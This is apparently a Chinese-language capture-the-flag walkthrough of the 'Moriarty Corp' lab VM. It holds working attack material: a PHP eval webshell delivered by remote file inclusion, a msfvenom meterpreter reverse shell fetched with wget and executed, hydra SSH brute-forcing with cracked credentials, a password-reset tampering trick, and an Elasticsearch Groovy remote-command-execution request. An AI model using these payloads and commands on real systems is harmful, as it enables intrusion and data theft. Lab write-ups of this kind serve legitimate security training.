Description
Hello Agent.
You’re here on a special mission.
A mission to take down one of the biggest weapons suppliers which is Moriarty Corp.
Enter flag{start} into the webapp to get started!
Notes:
- Web panel is on port 8000 (not in scope. Don’t attack)
- Flags are stored in #_flag.txt format. Flags are entered in flag{} format. They’re usually stored in / directory but can be in different locations.
- To temporarily stop playing, pause the VM. Do not shut it down.
- The webapp starts docker containers in the background when you add flags. Shutting down and rebooting will mess it up.
(the story is bad. sorry for the lack of creativity)
Difficulty: Med-Hard
Tasks involved:
- port scanning
- webapp attacks and bug hunting
- pivoting (meterpreter is highly recommended)
- password guessing/bruteforcing
Virtual Machine: - Format: Virtual Machine (Virtualbox OVA) - Operating System: Linux
Networking: - DHCP Service: Enabled - IP Address Automatically assign
This works better with VirtualBox rather than VMware.
从描述上看,这次我们扮演一个Agent(特工),目标是拿下一个武器供应商( Moriarty Corp)的网站。8000端口用于提交flag,不在攻击范围,通过每一次提交的flag,获取提示信息。
扫描探测
sudo arp-scan -I eth0 -l
二层扫描发现目标靶机IP 10.0.2.18。
扫描开放端口或服务
sudo nmap -p- -sV 10.0.2.18
根据描述,访问8000端口
输入flag{start}开始任务
文件包含
根据提示,访问站点开放的80端口
在网站的链接中发现文件包含漏洞
发现文件包含漏洞,可以尝试远程文件包含获取shell
这里可以用这个在Github上找到的工具 LFISuite,使用起来也很容易,通过这个工具getShell
在根目录中发现1_flag.txt
获得第一个flag{the_game_is_on}
也可以通过一句话木马的方式获取flag
开启本地apahce2服务
service apahce2 start
一句话木马ant.txt
<?php eval($_POST['ant']); ?>
构造链接
http://10.0.2.18/?file=http://10.0.2.16/ant.txt
AntSword连接木马
发现flag文件
内网渗透
提交第一个flag
拿到了靶机的shell,接下来收集内网信息。根据提示,内网中有一个图片站点,具体IP不知道,可能的地址范围在172.17.0.3-254.
要想访问内网的设备,那么靶机就要作为一个跳板,转发本机的流量。因此可以用msf建立socks5代理,用于流量转发。
msfvenom生成一个shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.2.16 LPORT=3334 -f elf > shell.elf
打开msf设置payload
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.2.16
msf6 exploit(multi/handler) > set lport 3334
msf6 exploit(multi/handler) > run
拷贝生成的shell到/var/www/html/路径下
sudo cp shell.elf /var/www/html/shell.elf
利用AntSword下载shell文件
wget http://10.0.2.16/shell.elf
chmod 777 shell.elf
./shell.elf
回到msf可以看到获得session
配置路由
meterpreter > run autoroute -s 172.17.0.0/24
meterpreter > run autoroute -p
设置代理
meterpreter > background # 退出session
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvhost 10.0.2.16
msf6 auxiliary(server/socks_proxy) > set srvport 1080
msf6 auxiliary(server/socks_proxy) > run
配置proxychains,可让本地扫描器,软件流量也走代理服务器
sudo vi /etc/proxychains4.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 10.0.2.16 1080
到这里代理就设置完成
扫描172.17.0.3-254
proxychains nmap 172.17.0.3-254 -p80
发现172.17.0.4服务器开放80端口
浏览器设置代理
发现文件上传点
文件上传
用burpsuite拦截
这里需要注意的是浏览器设置8080http代理后,在burpsuite内还需要设置socks代理,不然无法上传内网服务器
浏览器设置
burpsuite设置(User options -》Connections-》SOCKS Proxy)
上传一句话木马,需要密码,可以用Intruder模块爆破
爆破成功,密码为password,并且文件也上传成功
木马地址
http://172.17.0.4/photo/21/ant.php
用AntSword连接,需要设置socks代理
发现2_flag.txt文件
得到第二个flag{picture_is_worth_1000_words}
SSH爆破
提交第二个flag
根据提示内网中有一台开放ssh服务的server,用户密码可能是以下这些
经过hash的密码可以通过在线网站查找
Usernames:
root
toor
admin
mcorp
moriarty
Password hashes (crack before brute forcing):
63a9f0ea7bb98050796b649e85481845 (root)
7b24afc8bc80e548d66c4e7ff72171c5 (toor)
5f4dcc3b5aa765d61d8327deb882cf99 (password)
21232f297a57a5a743894a0e4a801fc3 (admin)
084e0343a0486ff05530df6c705c8bb4 (guest)
697c6cc76fdbde5baccb7b3400391e30 (MORIARTY)
8839cfc8a0f24eb155ae3f7f205f5cbc (MCORP)
35ac704fe1cc7807c914af478f20fd35 (mcorp)
b27a803ed346fbbf6d2e2eb88df1c51b (weapons)
08552d48aa6d6d9c05dd67f1b4ba8747 (moriarty)
扫描内网中开放22端口的Server
proxychains nmap 172.17.0.3-20 -p22 -Pn
172.17.0.5服务器开放了22端口
hydra爆破ssh
proxychains hydra -L user.txt -P passwd.txt ssh://172.17.0.5
破解成功,账号密码root/weapons
登陆
proxychains ssh root@172.17.0.5
获得第三个flag{what_weapons}
任意账号密码重置
提交第三个flag
内网中还有一个chat server,端口可能是443,8000,8080,8888。发现网站后可以用username: buyer13
password: arms13账号密码进行登陆
扫描开放相关端口的server
proxychains nmap 172.17.0.3-20 -p443,8000,8080,8888 -Pn
发现172.17.0.6开放了8000端口
访问该网站,输入账号密码buyer13/arms13
登陆成功,发现有密码修改的链接,可能存在任意账号密码重置漏洞,尝试可否获得管理员的账号
burpsuite抓包,将buyer13改成admin
修改成功,登陆admin/123456
发现第四个flag{on_the_move}
Elasticsearch远程命令执行
最后一个flag在一个运行Elasticsearch服务的server上,Elasticsearch默认端口为9200.
nmap扫描
proxychains nmap 172.17.0.3-20 -p9200 -Pn
172.17.0.7服务器上使用了Elasticsearch
该服务器上的Elasticsearch版本为1.4.2,版本较老,存在远程命令执行漏洞
这个漏洞利用前,至少需要一条数据,可以构造数据包,创建一条数据
POST /doc/test/ HTTP/1.1
Host: 172.17.0.7:9200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 28
{ "name": "tttttttest"}
发送包含payload的数据包
ls命令,查看当前文件夹的文件
POST /_search?pretty HTTP/1.1
Host: 172.17.0.7:9200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getText()"}}}
发现6_flag.txt
修改数据包
收获最后一个flag{game_over}。
提交最后一个flag,游戏结束。
算上flag{start},正好六个flag。